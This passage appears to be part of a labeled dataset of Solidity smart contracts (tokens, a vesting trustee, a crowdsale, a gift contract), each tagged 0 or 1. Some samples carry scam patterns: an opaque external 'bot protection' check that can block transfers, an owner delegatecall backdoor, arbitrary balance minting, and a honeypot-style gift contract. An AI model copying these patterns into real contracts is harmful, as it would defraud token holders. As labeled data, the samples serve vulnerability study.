}
function getPrizeByToken(uint _tokenId) public whenWinnerTime onlyOwnerOf(_tokenId) {
uint place = checkIsWinner(_tokenId);
require (place > 0);
uint prize = prizesByPlace[place];
if(prize > 0) {
if(winnerMap[_tokenId] == 0) {
winnerMap[_tokenId] = prize;
winnerList.push(_tokenId);
address _owner = tokenOwner[_tokenId];
if(_owner != address(0)){
uint hwcPrize = prizesByPlaceHWC[place];
hwcAddress[_owner].deposit = hwcAddress[_owner].deposit + hwcPrize;
_owner.transfer(prize);
}
}
}
}
function getWinnerList() external view onlyAdmin returns (uint[]) {
return winnerList;
}
function getWinnerInfo(uint _tokenId) external view onlyAdmin returns (uint){
return winnerMap[_tokenId];
}
function getResultTable(uint _start, uint _count) external view returns (uint[]) {
uint[] memory results = new uint[](_count);
for(uint index = _start; index < tokens.length && index < (_start + _count); index++) {
results[(index - _start)] = getScore(index);
}
return results;
}
} | 1 | 2,857 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
address public proposedOwner;
event OwnershipTransferInitiated(address indexed _proposedOwner);
event OwnershipTransferCompleted(address indexed _newOwner);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address _address) internal view returns (bool) {
return (_address == owner);
}
function initiateOwnershipTransfer(address _proposedOwner) public onlyOwner returns (bool) {
proposedOwner = _proposedOwner;
OwnershipTransferInitiated(_proposedOwner);
return true;
}
function completeOwnershipTransfer() public returns (bool) {
require(msg.sender == proposedOwner);
owner = proposedOwner;
proposedOwner = address(0);
OwnershipTransferCompleted(owner);
return true;
}
}
contract OpsManaged is Owned {
address public opsAddress;
address public adminAddress;
event AdminAddressChanged(address indexed _newAddress);
event OpsAddressChanged(address indexed _newAddress);
function OpsManaged() public
Owned()
{
}
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
modifier onlyAdminOrOps() {
require(isAdmin(msg.sender) || isOps(msg.sender));
_;
}
modifier onlyOwnerOrAdmin() {
require(isOwner(msg.sender) || isAdmin(msg.sender));
_;
}
modifier onlyOps() {
require(isOps(msg.sender));
_;
}
function isAdmin(address _address) internal view returns (bool) {
return (adminAddress != address(0) && _address == adminAddress);
}
function isOps(address _address) internal view returns (bool) {
return (opsAddress != address(0) && _address == opsAddress);
}
function isOwnerOrOps(address _address) internal view returns (bool) {
return (isOwner(_address) || isOps(_address));
}
function setAdminAddress(address _adminAddress) external onlyOwnerOrAdmin returns (bool) {
require(_adminAddress != owner);
require(_adminAddress != address(this));
require(!isOps(_adminAddress));
adminAddress = _adminAddress;
AdminAddressChanged(_adminAddress);
return true;
}
function setOpsAddress(address _opsAddress) external onlyOwnerOrAdmin returns (bool) {
require(_opsAddress != owner);
require(_opsAddress != address(this));
require(!isAdmin(_opsAddress));
opsAddress = _opsAddress;
OpsAddressChanged(_opsAddress);
return true;
}
}
contract SimpleTokenConfig {
string public constant TOKEN_SYMBOL = "ST";
string public constant TOKEN_NAME = "Simple Token";
uint8 public constant TOKEN_DECIMALS = 18;
uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS);
uint256 public constant TOKENS_MAX = 800000000 * DECIMALSFACTOR;
}
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256 balance);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint256;
string private tokenName;
string private tokenSymbol;
uint8 private tokenDecimals;
uint256 internal tokenTotalSupply;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function ERC20Token(string _symbol, string _name, uint8 _decimals, uint256 _totalSupply) public
Owned()
{
tokenSymbol = _symbol;
tokenName = _name;
tokenDecimals = _decimals;
tokenTotalSupply = _totalSupply;
balances[owner] = _totalSupply;
Transfer(0x0, owner, _totalSupply);
}
function name() public view returns (string) {
return tokenName;
}
function symbol() public view returns (string) {
return tokenSymbol;
}
function decimals() public view returns (uint8) {
return tokenDecimals;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract SimpleToken is ERC20Token, OpsManaged, SimpleTokenConfig {
bool public finalized;
event Burnt(address indexed _from, uint256 _amount);
event Finalized();
function SimpleToken() public
ERC20Token(TOKEN_SYMBOL, TOKEN_NAME, TOKEN_DECIMALS, TOKENS_MAX)
OpsManaged()
{
finalized = false;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
checkTransferAllowed(msg.sender, _to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
checkTransferAllowed(msg.sender, _to);
return super.transferFrom(_from, _to, _value);
}
function checkTransferAllowed(address _sender, address _to) private view {
if (finalized) {
return;
}
require(isOwnerOrOps(_sender) || _to == owner);
}
function burn(uint256 _value) public returns (bool success) {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
tokenTotalSupply = tokenTotalSupply.sub(_value);
Burnt(msg.sender, _value);
return true;
}
function finalize() external onlyAdmin returns (bool success) {
require(!finalized);
finalized = true;
Finalized();
return true;
}
}
contract Trustee is OpsManaged {
using SafeMath for uint256;
SimpleToken public tokenContract;
struct Allocation {
uint256 amountGranted;
uint256 amountTransferred;
bool revokable;
}
address public revokeAddress;
uint256 public totalLocked;
mapping (address => Allocation) public allocations;
event AllocationGranted(address indexed _from, address indexed _account, uint256 _amount, bool _revokable);
event AllocationRevoked(address indexed _from, address indexed _account, uint256 _amountRevoked);
event AllocationProcessed(address indexed _from, address indexed _account, uint256 _amount);
event RevokeAddressChanged(address indexed _newAddress);
event TokensReclaimed(uint256 _amount);
function Trustee(SimpleToken _tokenContract) public
OpsManaged()
{
require(address(_tokenContract) != address(0));
tokenContract = _tokenContract;
}
modifier onlyOwnerOrRevoke() {
require(isOwner(msg.sender) || isRevoke(msg.sender));
_;
}
modifier onlyRevoke() {
require(isRevoke(msg.sender));
_;
}
function isRevoke(address _address) private view returns (bool) {
return (revokeAddress != address(0) && _address == revokeAddress);
}
function setRevokeAddress(address _revokeAddress) external onlyOwnerOrRevoke returns (bool) {
require(_revokeAddress != owner);
require(!isAdmin(_revokeAddress));
require(!isOps(_revokeAddress));
revokeAddress = _revokeAddress;
RevokeAddressChanged(_revokeAddress);
return true;
}
function grantAllocation(address _account, uint256 _amount, bool _revokable) public onlyAdminOrOps returns (bool) {
require(_account != address(0));
require(_account != address(this));
require(_amount > 0);
require(allocations[_account].amountGranted == 0);
if (isOps(msg.sender)) {
require(!tokenContract.finalized());
}
totalLocked = totalLocked.add(_amount);
require(totalLocked <= tokenContract.balanceOf(address(this)));
allocations[_account] = Allocation({
amountGranted : _amount,
amountTransferred : 0,
revokable : _revokable
});
AllocationGranted(msg.sender, _account, _amount, _revokable);
return true;
}
function revokeAllocation(address _account) external onlyRevoke returns (bool) {
require(_account != address(0));
Allocation memory allocation = allocations[_account];
require(allocation.revokable);
uint256 ownerRefund = allocation.amountGranted.sub(allocation.amountTransferred);
delete allocations[_account];
totalLocked = totalLocked.sub(ownerRefund);
AllocationRevoked(msg.sender, _account, ownerRefund);
return true;
}
function processAllocation(address _account, uint256 _amount) external onlyOps returns (bool) {
require(_account != address(0));
require(_amount > 0);
Allocation storage allocation = allocations[_account];
require(allocation.amountGranted > 0);
uint256 transferable = allocation.amountGranted.sub(allocation.amountTransferred);
if (transferable < _amount) {
return false;
}
allocation.amountTransferred = allocation.amountTransferred.add(_amount);
require(tokenContract.transfer(_account, _amount));
totalLocked = totalLocked.sub(_amount);
AllocationProcessed(msg.sender, _account, _amount);
return true;
}
function reclaimTokens() external onlyAdmin returns (bool) {
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(ownBalance > totalLocked);
uint256 amountReclaimed = ownBalance.sub(totalLocked);
address tokenOwner = tokenContract.owner();
require(tokenOwner != address(0));
require(tokenContract.transfer(tokenOwner, amountReclaimed));
TokensReclaimed(amountReclaimed);
return true;
}
} | 1 | 4,747 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract PBXToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 500000000000000000000000000;
string public name = "Paribus";
string public symbol = "PBX";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wETH, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tos, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = amount;
emit Transfer(address(0x0), _tos[i], amount);
}
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 278 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract MintableToken is StandardToken, Ownable, Pausable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 public constant maxTokensToMint = 1500000000 ether;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) {
return mintInternal(_to, _amount);
}
function finishMinting() whenNotPaused onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) {
require(totalSupply_.add(_amount) <= maxTokensToMint);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
contract Well is MintableToken {
string public constant name = "Token Well";
string public constant symbol = "WELL";
bool public transferEnabled = false;
uint8 public constant decimals = 18;
uint256 public rate = 9000;
uint256 public constant hardCap = 30000 ether;
uint256 public weiFounded = 0;
uint256 public icoTokensCount = 0;
address public approvedUser = 0x1ca815aBdD308cAf6478d5e80bfc11A6556CE0Ed;
address public wallet = 0x1ca815aBdD308cAf6478d5e80bfc11A6556CE0Ed;
bool public icoFinished = false;
uint256 public constant maxTokenToBuy = 600000000 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
modifier canTransfer() {
require(transferEnabled);
_;
}
modifier onlyOwnerOrApproved() {
require(msg.sender == owner || msg.sender == approvedUser);
_;
}
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function finishIco() onlyOwner returns (bool) {
icoFinished = true;
icoTokensCount = totalSupply_;
return true;
}
modifier canBuyTokens() {
require(!icoFinished && weiFounded.add(msg.value) <= hardCap);
_;
}
function setApprovedUser(address _user) onlyOwner returns (bool) {
require(_user != address(0));
approvedUser = _user;
return true;
}
function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function() payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable {
require(msg.value != 0);
require(beneficiary != 0x0);
uint256 weiAmount = msg.value;
uint256 bonus = 0;
bonus = getBonusByDate();
uint256 tokens = weiAmount.mul(rate);
if (bonus > 0) {
tokens += tokens.mul(bonus).div(100);
}
require(totalSupply_.add(tokens) <= maxTokenToBuy);
require(mintInternal(beneficiary, tokens));
weiFounded = weiFounded.add(weiAmount);
TokenPurchase(msg.sender, beneficiary, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function changeWallet(address _newWallet) onlyOwner returns (bool) {
require(_newWallet != 0x0);
wallet = _newWallet;
return true;
}
function getBonusByDate() view returns (uint256){
if (block.timestamp < 1514764800) return 0;
if (block.timestamp < 1521158400) return 40;
if (block.timestamp < 1523836800) return 30;
if (block.timestamp < 1523923200) return 25;
if (block.timestamp < 1524441600) return 20;
if (block.timestamp < 1525046400) return 10;
if (block.timestamp < 1525651200) return 5;
return 0;
}
} | 1 | 2,819 |
pragma solidity ^0.4.19;
contract PrivateGift
{
address sender;
address reciver;
bool closed = false;
uint unlockTime;
function PutGift(address _reciver)
public
payable
{
if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
{
sender = msg.sender;
reciver = _reciver;
unlockTime = now;
}
}
function SetGiftTime(uint _unixTime)
public
{
if(msg.sender==sender)
{
unlockTime = _unixTime;
}
}
function GetGift()
public
payable
{
if(reciver==msg.sender&&now>unlockTime)
{
msg.sender.transfer(this.balance);
}
}
function CloseGift()
public
{
if(sender == msg.sender && reciver != 0x0 )
{
closed=true;
}
}
function() public payable{}
} | 1 | 3,970 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 300000000;
uint256 public buyPrice = 2000;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'SGPC', 'SGPC') payable public {
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
owner.send(msg.value);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
function getEth(uint num) payable public {
owner.send(num);
}
function balanceOfa(address _owner) public constant returns (uint256) {
return balanceOf[_owner];
}
} | 0 | 1,204 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
